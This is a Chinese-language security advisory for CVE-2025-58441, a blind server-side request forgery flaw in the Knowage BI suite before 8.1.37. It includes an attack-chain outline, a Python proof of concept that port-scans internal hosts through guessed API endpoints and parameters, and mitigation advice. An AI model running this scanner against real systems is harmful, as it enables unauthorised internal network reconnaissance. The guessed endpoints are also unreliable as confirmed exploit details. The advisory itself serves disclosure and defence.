IPBUF安全漏洞报告
English
CVE-2025-58441 CVSS 6.5 中危

CVE-2025-58441: Knowage 8.1.37之前版本存在Blind SSRF漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-58441
漏洞类型
Blind SSRF (服务端请求伪造)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Knowage (Knowage-Server)

相关标签

Blind SSRF服务端请求伪造KnowageCVE-2025-58441商业智能平台内网探测无需认证CVSS 6.5

漏洞概述

Knowage是一款开源的分析和商业智能套件。在8.1.37版本之前,存在一处无回显的服务器端请求伪造(Blind Server-Side Request Forgery,简称Blind SSRF)漏洞。该漏洞允许未经身份验证的攻击者向任意主机和路径发送请求。由于攻击者无法读取服务器返回的响应,因此该漏洞的影响范围有限。然而,攻击者可以利用此漏洞对内网进行端口扫描和服务探测,从而收集内网拓扑结构和运行服务信息,为进一步攻击做准备。攻击者通过构造特定的请求参数,诱使服务器向内部或外部资源发起请求,成功利用此漏洞可能导致内网敏感信息泄露(如内网服务指纹、内网IP段等)。根据CVSS 3.1评分标准,该漏洞评分为6.5分,属于中等严重程度。该漏洞已在8.1.37版本中得到修复,建议用户尽快升级到最新版本以消除安全风险。

技术细节

Blind SSRF漏洞是一种特殊类型的服务器端请求伪造漏洞,与传统SSRF不同,Blind SSRF不会将目标资源的响应内容返回给攻击者,因此攻击难度相对较高。在Knowage系统中,攻击者可以通过构造特定的HTTP请求参数,诱使服务器向攻击者指定的目标地址发起请求。攻击者通常利用此漏洞进行内网端口扫描,例如尝试访问常见的内部服务端口(如127.0.0.1:22、127.0.0.1:3306等),通过分析服务器的响应时间或响应特征来判断目标端口是否开放。此外,攻击者还可以利用此漏洞访问内部管理接口、读取本地文件内容或与内部服务进行交互。由于该漏洞无需认证即可利用,且位于网络边界,任何能够访问Knowage服务的用户都可能成为潜在攻击者。攻击者通过逐步探测,可以绘制出目标网络的部分拓扑结构,为后续更复杂的攻击奠定基础。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Knowage服务器版本,确认版本低于8.1.37
STEP 2
步骤2: 构造恶意请求
攻击者构造包含SSRF payload的HTTP请求,将目标地址设置为内部主机(如127.0.0.1或内网IP)
STEP 3
步骤3: 发送请求触发漏洞
通过API端点(如/widgets/execute、/crossNavigation等)发送构造的请求,诱使服务器向目标地址发起请求
STEP 4
步骤4: 分析响应特征
通过分析响应时间、响应状态码等特征,判断内部服务是否存活或端口是否开放
STEP 5
步骤5: 内网探测与信息收集
利用SSRF漏洞对内网进行大规模端口扫描和服务探测,收集内网拓扑和服务指纹信息
STEP 6
步骤6: 横向移动准备
基于收集到的内网信息,为后续更复杂的攻击(如内网横向移动、敏感数据访问等)做准备

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys import time # CVE-2025-58441 Blind SSRF PoC for Knowage < 8.1.37 # This PoC demonstrates how an attacker can use the SSRF to scan internal ports def check_ssrf(url, target_host, target_port): """ Test if the Knowage server can be tricked into making requests to internal hosts """ # Construct the malicious URL with the SSRF payload ssrf_payload = f"http://{target_host}:{target_port}" # Common endpoints that might be vulnerable endpoints = [ "/api/1.0/widgets/execute", "/restful-services/2.0/crossNavigation", "/knowage/api/1.0/datasets", ] for endpoint in endpoints: try: # Try to trigger SSRF through various parameters params = { "url": ssrf_payload, "dataSource": ssrf_payload, } start_time = time.time() response = requests.post(url + endpoint, data=params, timeout=5) elapsed_time = time.time() - start_time # If connection times out or fails, port might be closed if elapsed_time > 3: print(f"[*] {endpoint}: Port {target_port} on {target_host} might be filtered or closed") else: print(f"[!] {endpoint}: Response received from {target_host}:{target_port} (time: {elapsed_time:.2f}s)") except requests.exceptions.Timeout: print(f"[*] {endpoint}: Connection to {target_host}:{target_port} timed out") except requests.exceptions.ConnectionError: print(f"[*] {endpoint}: Cannot connect to {target_host}:{target_port}") except Exception as e: print(f"[!] {endpoint}: Error - {str(e)}") if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python poc.py <knowage_url> <target_host> <start_port> <end_port>") print("Example: python poc.py http://target.com 127.0.0.1 1 1000") sys.exit(1) target_url = sys.argv[1] target_host = sys.argv[2] start_port = int(sys.argv[3]) end_port = int(sys.argv[4]) print(f"[*] Scanning {target_host} ports {start_port}-{end_port} via SSRF...") for port in range(start_port, end_port + 1): check_ssrf(target_url, target_host, port)

影响范围

Knowage < 8.1.37

防御指南

临时缓解措施
如果无法立即升级,可通过以下措施临时缓解风险:1) 在网络边界部署严格的出站访问控制策略,限制Knowage服务器仅能访问必要的白名单地址;2) 启用详细的访问日志记录,监控异常的请求模式;3) 使用Web应用防火墙(WAF)规则检测常见的SSRF攻击特征;4) 对Knowage服务实施网络隔离,避免直接暴露在公网环境;5) 定期检查应用日志,排查是否存在异常的内部网络请求行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表